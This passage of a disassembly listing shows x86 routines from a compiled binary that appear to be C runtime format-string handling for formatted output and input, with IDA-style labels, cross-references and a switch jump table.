[esi+0Ch], eax loc_40EDD1: ; CODE XREF: sub_40ECC3+FDj or eax, 0FFFFFFFFh loc_40EDD4: ; CODE XREF: sub_40ECC3+107j pop esi pop ebx pop ebp retn sub_40ECC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EDD8 proc near ; CODE XREF: sub_40C6C3+29p ; sub_40D3F7+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_40F4F1 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_40EE0C ; --------------------------------------------------------------------------- loc_40EE04: ; CODE XREF: sub_40EDD8+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_40EE0C: ; CODE XREF: sub_40EDD8+2Aj cmp [ebp+var_14], edx jl loc_40F4F1 cmp bl, 20h jl short loc_40EE2D cmp bl, 78h jg short loc_40EE2D movsx eax, bl mov al, byte_41862C[eax] and eax, 0Fh jmp short loc_40EE2F ; --------------------------------------------------------------------------- loc_40EE2D: ; CODE XREF: sub_40EDD8+40j ; sub_40EDD8+45j xor eax, eax loc_40EE2F: ; CODE XREF: sub_40EDD8+53j movsx eax, byte_41864C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_40F4E0 ; default jmp off_40F4F9[eax*4] ; switch jump loc_40EE4D: ; DATA XREF: .nsp0:off_40F4F9o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0040EE46 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EE68: ; CODE XREF: sub_40EDD8+6Ej ; DATA XREF: .nsp0:off_40F4F9o movsx eax, bl ; jumptable 0040EE46 case 2 sub eax, 20h jz short loc_40EEAB sub eax, 3 jz short loc_40EEA2 sub eax, 8 jz short loc_40EE99 dec eax dec eax jz short loc_40EE90 sub eax, 3 jnz loc_40F4E0 ; default or [ebp+var_4], 8 jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EE90: ; CODE XREF: sub_40EDD8+A4j or [ebp+var_4], 4 jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EE99: ; CODE XREF: sub_40EDD8+A0j or [ebp+var_4], 1 jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EEA2: ; CODE XREF: sub_40EDD8+9Bj or byte ptr [ebp+var_4], 80h jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EEAB: ; CODE XREF: sub_40EDD8+96j or [ebp+var_4], 2 jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EEB4: ; CODE XREF: sub_40EDD8+6Ej ; DATA XREF: .nsp0:off_40F4F9o cmp bl, 2Ah ; jumptable 0040EE46 case 3 jnz short loc_40EEDC lea eax, [ebp+arg_8] push eax call sub_40F5B7 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_40F4E0 ; default or [ebp+var_4], 4 neg eax loc_40EED4: ; CODE XREF: sub_40EDD8+111j mov [ebp+var_20], eax jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EEDC: ; CODE XREF: sub_40EDD8+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_40EED4 ; --------------------------------------------------------------------------- loc_40EEEB: ; CODE XREF: sub_40EDD8+6Ej ; DATA XREF: .nsp0:off_40F4F9o mov [ebp+var_10], edx ; jumptable 0040EE46 case 4 jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EEF3: ; CODE XREF: sub_40EDD8+6Ej ; DATA XREF: .nsp0:off_40F4F9o cmp bl, 2Ah ; jumptable 0040EE46 case 5 jnz short loc_40EF16 lea eax, [ebp+arg_8] push eax call sub_40F5B7 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_40F4E0 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EF16: ; CODE XREF: sub_40EDD8+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EF28: ; CODE XREF: sub_40EDD8+6Ej ; DATA XREF: .nsp0:off_40F4F9o cmp bl, 49h ; jumptable 0040EE46 case 6 jz short loc_40EF5B cmp bl, 68h jz short loc_40EF52 cmp bl, 6Ch jz short loc_40EF49 cmp bl, 77h jnz loc_40F4E0 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EDD8+15Dj or [ebp+var_4], 10h jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EF52: ; CODE XREF: sub_40EDD8+158j or [ebp+var_4], 20h jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EF5B: ; CODE XREF: sub_40EDD8+153j cmp byte ptr [edi], 36h jnz short loc_40EF74 cmp byte ptr [edi+1], 34h jnz short loc_40EF74 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EF74: ; CODE XREF: sub_40EDD8+186j ; sub_40EDD8+18Cj mov [ebp+var_30], edx loc_40EF77: ; CODE XREF: sub_40EDD8+6Ej ; DATA XREF: .nsp0:off_40F4F9o mov ecx, off_421DF8 ; jumptable 0040EE46 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_40EFA3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_40F519 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_40EFA3: ; CODE XREF: sub_40EDD8+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_40F519 add esp, 0Ch jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40EFBB: ; CODE XREF: sub_40EDD8+6Ej ; DATA XREF: .nsp0:off_40F4F9o movsx eax, bl ; jumptable 0040EE46 case 7 cmp eax, 67h jg loc_40F1E3 cmp eax, 65h jge loc_40F066 cmp eax, 58h jg loc_40F0C4 jz loc_40F257 sub eax, 43h jz loc_40F087 dec eax dec eax jz short loc_40F05C dec eax dec eax jz short loc_40F05C sub eax, 0Ch jnz loc_40F3E2 test word ptr [ebp+var_4], 830h jnz short loc_40F005 or byte ptr [ebp+var_4+1], 8 loc_40F005: ; CODE XREF: sub_40EDD8+227j ; sub_40EDD8+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_40F012 mov esi, 7FFFFFFFh loc_40F012: ; CODE XREF: sub_40EDD8+233j lea eax, [ebp+arg_8] push eax call sub_40F5B7 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_40F22B test ecx, ecx jnz short loc_40F03A mov ecx, off_41FC7C mov [ebp+var_8], ecx loc_40F03A: ; CODE XREF: sub_40EDD8+257j mov [ebp+var_24], 1 mov eax, ecx loc_40F043: ; CODE XREF: sub_40EDD8+282j mov edx, esi dec esi test edx, edx jz loc_40F222 cmp word ptr [eax], 0 jz loc_40F222 inc eax inc eax jmp short loc_40F043 ; --------------------------------------------------------------------------- loc_40F05C: ; CODE XREF: sub_40EDD8+212j ; sub_40EDD8+216j mov [ebp+var_34], 1 add bl, 20h loc_40F066: ; CODE XREF: sub_40EDD8+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_40F14A mov [ebp+var_10], 6 jmp loc_40F158 ; --------------------------------------------------------------------------- loc_40F087: ; CODE XREF: sub_40EDD8+20Aj test word ptr [ebp+var_4], 830h jnz short loc_40F093 or byte ptr [ebp+var_4+1], 8 loc_40F093: ; CODE XREF: sub_40EDD8+2B5j ; sub_40EDD8+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_40F0DA call sub_40F5D4 push eax lea eax, [ebp+var_248] push eax call sub_414A9C add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_40F0ED mov [ebp+var_28], 1 jmp short loc_40F0ED ; --------------------------------------------------------------------------- loc_40F0C4: ; CODE XREF: sub_40EDD8+1FBj sub eax, 5Ah jz short loc_40F0FB sub eax, 9 jz short loc_40F093 dec eax jz loc_40F2BD jmp loc_40F3E2 ; --------------------------------------------------------------------------- loc_40F0DA: ; CODE XREF: sub_40EDD8+2C5j call sub_40F5B7 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_40F0ED: ; CODE XREF: sub_40EDD8+2E1j ; sub_40EDD8+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_40F3E2 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40EDD8+2EFj lea eax, [ebp+arg_8] push eax call sub_40F5B7 test eax, eax pop ecx jz short loc_40F13C mov ecx, [eax+4] test ecx, ecx jz short loc_40F13C test byte ptr [ebp+var_4+1], 8 jz short loc_40F12D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_40F3E2 ; --------------------------------------------------------------------------- loc_40F12D: ; CODE XREF: sub_40EDD8+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_40F3DF ; --------------------------------------------------------------------------- loc_40F13C: ; CODE XREF: sub_40EDD8+32Fj ; sub_40EDD8+336j mov eax, off_41FC78 mov [ebp+var_8], eax push eax jmp loc_40F1D8 ; --------------------------------------------------------------------------- loc_40F14A: ; CODE XREF: sub_40EDD8+29Dj jnz short loc_40F158 cmp bl, 67h jnz short loc_40F158 mov [ebp+var_10], 1 loc_40F158: ; CODE XREF: sub_40EDD8+2AAj ; sub_40EDD8:loc_40F14Aj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_421DD0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_40F1AA cmp [ebp+var_10], 0 jnz short loc_40F1AA lea eax, [ebp+var_248] push eax call off_421DDC pop ecx loc_40F1AA: ; CODE XREF: sub_40EDD8+3BCj ; sub_40EDD8+3C2j cmp bl, 67h jnz short loc_40F1C1 test esi, esi jnz short loc_40F1C1 lea eax, [ebp+var_248] push eax call off_421DD4 pop ecx loc_40F1C1: ; CODE XREF: sub_40EDD8+3D5j ; sub_40EDD8+3D9j cmp [ebp+var_248], 2Dh jnz short loc_40F1D7 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_40F1D7: ; CODE XREF: sub_40EDD8+3F0j push edi loc_40F1D8: ; CODE XREF: sub_40EDD8+36Dj call sub_40CBC0 pop ecx jmp loc_40F3DF ; --------------------------------------------------------------------------- loc_40F1E3: ; CODE XREF: sub_40EDD8+1E9j sub eax, 69h jz loc_40F2BD sub eax, 5 jz loc_40F293 dec eax jz loc_40F280 dec eax jz short loc_40F250 sub eax, 3 jz loc_40F005 dec eax dec eax jz loc_40F2C1 sub eax, 3 jnz loc_40F3E2 mov [ebp+var_2C], 27h jmp short loc_40F25E ; --------------------------------------------------------------------------- loc_40F222: ; CODE XREF: sub_40EDD8+270j ; sub_40EDD8+27Aj sub eax, ecx sar eax, 1 jmp loc_40F3DF ; --------------------------------------------------------------------------- loc_40F22B: ; CODE XREF: sub_40EDD8+24Fj test ecx, ecx jnz short loc_40F238 mov ecx, off_41FC78 mov [ebp+var_8], ecx loc_40F238: ; CODE XREF: sub_40EDD8+455j mov eax, ecx loc_40F23A: ; CODE XREF: sub_40EDD8+46Fj mov edx, esi dec esi test edx, edx jz short loc_40F249 cmp byte ptr [eax], 0 jz short loc_40F249 inc eax jmp short loc_40F23A ; --------------------------------------------------------------------------- loc_40F249: ; CODE XREF: sub_40EDD8+467j ; sub_40EDD8+46Cj sub eax, ecx jmp loc_40F3DF ; --------------------------------------------------------------------------- loc_40F250: ; CODE XREF: sub_40EDD8+425j mov [ebp+var_10], 8 loc_40F257: ; CODE XREF: sub_40EDD8+201j mov [ebp+var_2C], 7 loc_40F25E: ; CODE XREF: sub_40EDD8+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_40F2C8 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_40F2C8 ; --------------------------------------------------------------------------- loc_40F280: ; CODE XREF: sub_40EDD8+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_40F2C8 or byte ptr [ebp+var_4+1], 2 jmp short loc_40F2C8 ; --------------------------------------------------------------------------- loc_40F293: ; CODE XREF: sub_40EDD8+417j lea eax, [ebp+arg_8] push eax call sub_40F5B7 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_40F2AC mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_40F2B1 ; --------------------------------------------------------------------------- loc_40F2AC: ; CODE XREF: sub_40EDD8+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_40F2B1: ; CODE XREF: sub_40EDD8+4D2j mov [ebp+var_28], 1 jmp loc_40F4E0 ; default ; --------------------------------------------------------------------------- loc_40F2BD: ; CODE XREF: sub_40EDD8+2F7j ; sub_40EDD8+40Ej or [ebp+var_4], 40h loc_40F2C1: ; CODE XREF: sub_40EDD8+432j mov [ebp+var_C], 0Ah loc_40F2C8: ; CODE XREF: sub_40EDD8+491j ; sub_40EDD8+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_40F2DA lea eax, [ebp+arg_8] push eax call sub_40F5C4 pop ecx jmp short loc_40F31B ; --------------------------------------------------------------------------- loc_40F2DA: ; CODE XREF: sub_40EDD8+4F4j test byte ptr [ebp+var_4], 20h jz short loc_40F301 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_40F2F6 call sub_40F5B7 pop ecx movsx eax, ax loc_40F2F3: ; CODE XREF: sub_40EDD8+527j ; sub_40EDD8+539j cdq jmp short loc_40F31B ; --------------------------------------------------------------------------- loc_40F2F6: ; CODE XREF: sub_40EDD8+510j call sub_40F5B7 pop ecx movzx eax, ax jmp short loc_40F2F3 ; --------------------------------------------------------------------------- loc_40F301: ; CODE XREF: sub_40EDD8+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_40F313 call sub_40F5B7 pop ecx jmp short loc_40F2F3 ; --------------------------------------------------------------------------- loc_40F313: ; CODE XREF: sub_40EDD8+531j call sub_40F5B7 pop ecx xor edx, edx loc_40F31B: ; CODE XREF: sub_40EDD8+500j ; sub_40EDD8+51Cj test byte ptr [ebp+var_4], 40h jz short loc_40F33C test edx, edx jg short loc_40F33C jl short loc_40F32B test eax, eax jnb short loc_40F33C loc_40F32B: ; CODE XREF: sub_40EDD8+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_40F340 ; --------------------------------------------------------------------------- loc_40F33C: ; CODE XREF: sub_40EDD8+547j ; sub_40EDD8+54Bj ... mov esi, eax mov edi, edx loc_40F340: ; CODE XREF: sub_40EDD8+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_40F349 and edi, 0 loc_40F349: ; CODE XREF: sub_40EDD8+56Cj cmp [ebp+var_10], 0 jge short loc_40F358 mov [ebp+var_10], 1 jmp short loc_40F35C ; --------------------------------------------------------------------------- loc_40F358: ; CODE XREF: sub_40EDD8+575j and [ebp+var_4], 0FFFFFFF7h loc_40F35C: ; CODE XREF: sub_40EDD8+57Ej mov eax, esi or eax, edi jnz short loc_40F366 and [ebp+var_1C], 0 loc_40F366: ; CODE XREF: sub_40EDD8+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_40F36C: ; CODE XREF: sub_40EDD8+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_40F37C mov eax, esi or eax, edi jz short loc_40F3B7 loc_40F37C: ; CODE XREF: sub_40EDD8+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_40DED0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_40DE60 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_40F3AD add ebx, [ebp+var_2C] loc_40F3AD: ; CODE XREF: sub_40EDD8+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_40F36C ; --------------------------------------------------------------------------- loc_40F3B7: ; CODE XREF: sub_40EDD8+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_40F3E2 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_40F3D5 test eax, eax jnz short loc_40F3E2 loc_40F3D5: ; CODE XREF: sub_40EDD8+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_40F3DF: ; CODE XREF: sub_40EDD8+35Fj ; sub_40EDD8+406j ... mov [ebp+var_C], eax loc_40F3E2: ; CODE XREF: sub_40EDD8+21Bj ; sub_40EDD8+2FDj ... cmp [ebp+var_28], 0 jnz loc_40F4E0 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_40F41A test bh, 1 jz short loc_40F3FF mov [ebp+var_16], 2Dh jmp short loc_40F413 ; --------------------------------------------------------------------------- loc_40F3FF: ; CODE XREF: sub_40EDD8+61Fj test bl, 1 jz short loc_40F40A mov [ebp+var_16], 2Bh jmp short loc_40F413 ; --------------------------------------------------------------------------- loc_40F40A: ; CODE XREF: sub_40EDD8+62Aj test bl, 2 jz short loc_40F41A mov [ebp+var_16], 20h loc_40F413: ; CODE XREF: sub_40EDD8+625j ; sub_40EDD8+630j mov [ebp+var_1C], 1 loc_40F41A: ; CODE XREF: sub_40EDD8+61Aj ; sub_40EDD8+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_40F43A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_40F54E add esp, 10h loc_40F43A: ; CODE XREF: sub_40EDD8+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_40F57F add esp, 10h test bl, 8 jz short loc_40F46C test bl, 4 jnz short loc_40F46C lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_40F54E add esp, 10h loc_40F46C: ; CODE XREF: sub_40EDD8+67Bj ; sub_40EDD8+680j cmp [ebp+var_24], 0 jz short loc_40F4B3 cmp [ebp+var_C], 0 jle short loc_40F4B3 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_40F481: ; CODE XREF: sub_40EDD8+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_414A9C pop ecx test eax, eax pop ecx jle short loc_40F4C8 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_40F57F add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_40F481 jmp short loc_40F4C8 ; --------------------------------------------------------------------------- loc_40F4B3: ; CODE XREF: sub_40EDD8+698j ; sub_40EDD8+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_40F57F add esp, 10h loc_40F4C8: ; CODE XREF: sub_40EDD8+6BCj ; sub_40EDD8+6D9j test byte ptr [ebp+var_4], 4 jz short loc_40F4E0 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_40F54E add esp, 10h loc_40F4E0: ; CODE XREF: sub_40EDD8+68j ; sub_40EDD8+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_40EE04 loc_40F4F1: ; CODE XREF: sub_40EDD8+1Fj ; sub_40EDD8+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_40EDD8 endp ; --------------------------------------------------------------------------- off_40F4F9 dd offset loc_40EF77 ; DATA XREF: sub_40EDD8+6Er dd offset loc_40EE4D ; jump table for switch statement dd offset loc_40EE68 dd offset loc_40EEB4 dd offset loc_40EEEB dd offset loc_40EEF3 dd offset loc_40EF28 dd offset loc_40EFBB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F519 proc near ; CODE XREF: sub_40EDD8+1BDp ; sub_40EDD8+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_40F532 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_40F53D ; --------------------------------------------------------------------------- loc_40F532: ; CODE XREF: sub_40F519+9j push ecx push [ebp+arg_0] call sub_40ECC3 pop ecx pop ecx loc_40F53D: ; CODE XREF: sub_40F519+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_40F54A or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_40F54A: ; CODE XREF: sub_40F519+2Aj inc dword ptr [eax] pop ebp retn sub_40F519 endp ; =============== S U B R O U T I N E ======================================= sub_40F54E proc near ; CODE XREF: sub_40EDD8+65Ap ; sub_40EDD8+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_40F57C mov esi, [esp+8+arg_C] loc_40F55F: ; CODE XREF: sub_40F54E+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_40F519 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_40F57C mov eax, edi dec edi test eax, eax jg short loc_40F55F loc_40F57C: ; CODE XREF: sub_40F54E+Bj ; sub_40F54E+25j pop edi pop esi retn sub_40F54E endp ; =============== S U B R O U T I N E ======================================= sub_40F57F proc near ; CODE XREF: sub_40EDD8+670p ; sub_40EDD8+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_40F5B3 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_40F595: ; CODE XREF: sub_40F57F+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_40F519 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_40F5B3 mov eax, ebx dec ebx test eax, eax jg short loc_40F595 loc_40F5B3: ; CODE XREF: sub_40F57F+Cj ; sub_40F57F+2Bj pop edi pop esi pop ebx retn sub_40F57F endp ; =============== S U B R O U T I N E ======================================= sub_40F5B7 proc near ; CODE XREF: sub_40EDD8+E5p ; sub_40EDD8+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_40F5B7 endp ; =============== S U B R O U T I N E ======================================= sub_40F5C4 proc near ; CODE XREF: sub_40EDD8+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_40F5C4 endp ; =============== S U B R O U T I N E ======================================= sub_40F5D4 proc near ; CODE XREF: sub_40EDD8+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_40F5D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F5E2 proc near ; CODE XREF: sub_40CB7D+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_40FFE8 mov edi, [ebp+arg_0] jmp short loc_40F611 ; --------------------------------------------------------------------------- loc_40F60C: ; CODE XREF: sub_40F5E2+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_40F611: ; CODE XREF: sub_40F5E2+28j cmp dword_422004, 1 jle short loc_40F629 movzx eax, al push 8 push eax call sub_412B49 pop ecx pop ecx jmp short loc_40F638 ; --------------------------------------------------------------------------- loc_40F629: ; CODE XREF: sub_40F5E2+36j mov ecx, off_421DF8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_40F638: ; CODE XREF: sub_40F5E2+45j cmp eax, ebx jz short loc_40F672 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41006F pop ecx pop ecx push eax call sub_410058 movzx eax, byte ptr [esi+1] inc esi push eax call sub_414BCC add esp, 0Ch loc_40F660: ; CODE XREF: sub_40F5E2+8Ej test eax, eax jz short loc_40F672 movzx eax, byte ptr [esi+1] inc esi push eax call sub_414BCC pop ecx jmp short loc_40F660 ; --------------------------------------------------------------------------- loc_40F672: ; CODE XREF: sub_40F5E2+58j ; sub_40F5E2+80j cmp byte ptr [esi], 25h jnz loc_40FF54 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_40F6A9: ; CODE XREF: sub_40F5E2+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_422004, 1 jle short loc_40F6C6 movzx eax, bl push 4 push eax call sub_412B49 pop ecx pop ecx jmp short loc_40F6D5 ; --------------------------------------------------------------------------- loc_40F6C6: ; CODE XREF: sub_40F5E2+D3j mov ecx, off_421DF8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_40F6D5: ; CODE XREF: sub_40F5E2+E2j test eax, eax jz short loc_40F6EB mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_40F750 ; --------------------------------------------------------------------------- loc_40F6EB: ; CODE XREF: sub_40F5E2+F5j cmp ebx, 4Eh jg short loc_40F72E jz short loc_40F750 cmp ebx, 2Ah jz short loc_40F729 cmp ebx, 46h jz short loc_40F750 cmp ebx, 49h jz short loc_40F70B cmp ebx, 4Ch jnz short loc_40F73D inc [ebp+var_D] jmp short loc_40F750 ; --------------------------------------------------------------------------- loc_40F70B: ; CODE XREF: sub_40F5E2+11Dj cmp byte ptr [esi+1], 36h jnz short loc_40F73D cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_40F73D inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_40F750 ; --------------------------------------------------------------------------- loc_40F729: ; CODE XREF: sub_40F5E2+113j inc [ebp+var_E] jmp short loc_40F750 ; --------------------------------------------------------------------------- loc_40F72E: ; CODE XREF: sub_40F5E2+10Cj cmp ebx, 68h jz short loc_40F74A cmp ebx, 6Ch jz short loc_40F742 cmp ebx, 77h jz short loc_40F745 loc_40F73D: ; CODE XREF: sub_40F5E2+122j ; sub_40F5E2+12Dj ... inc 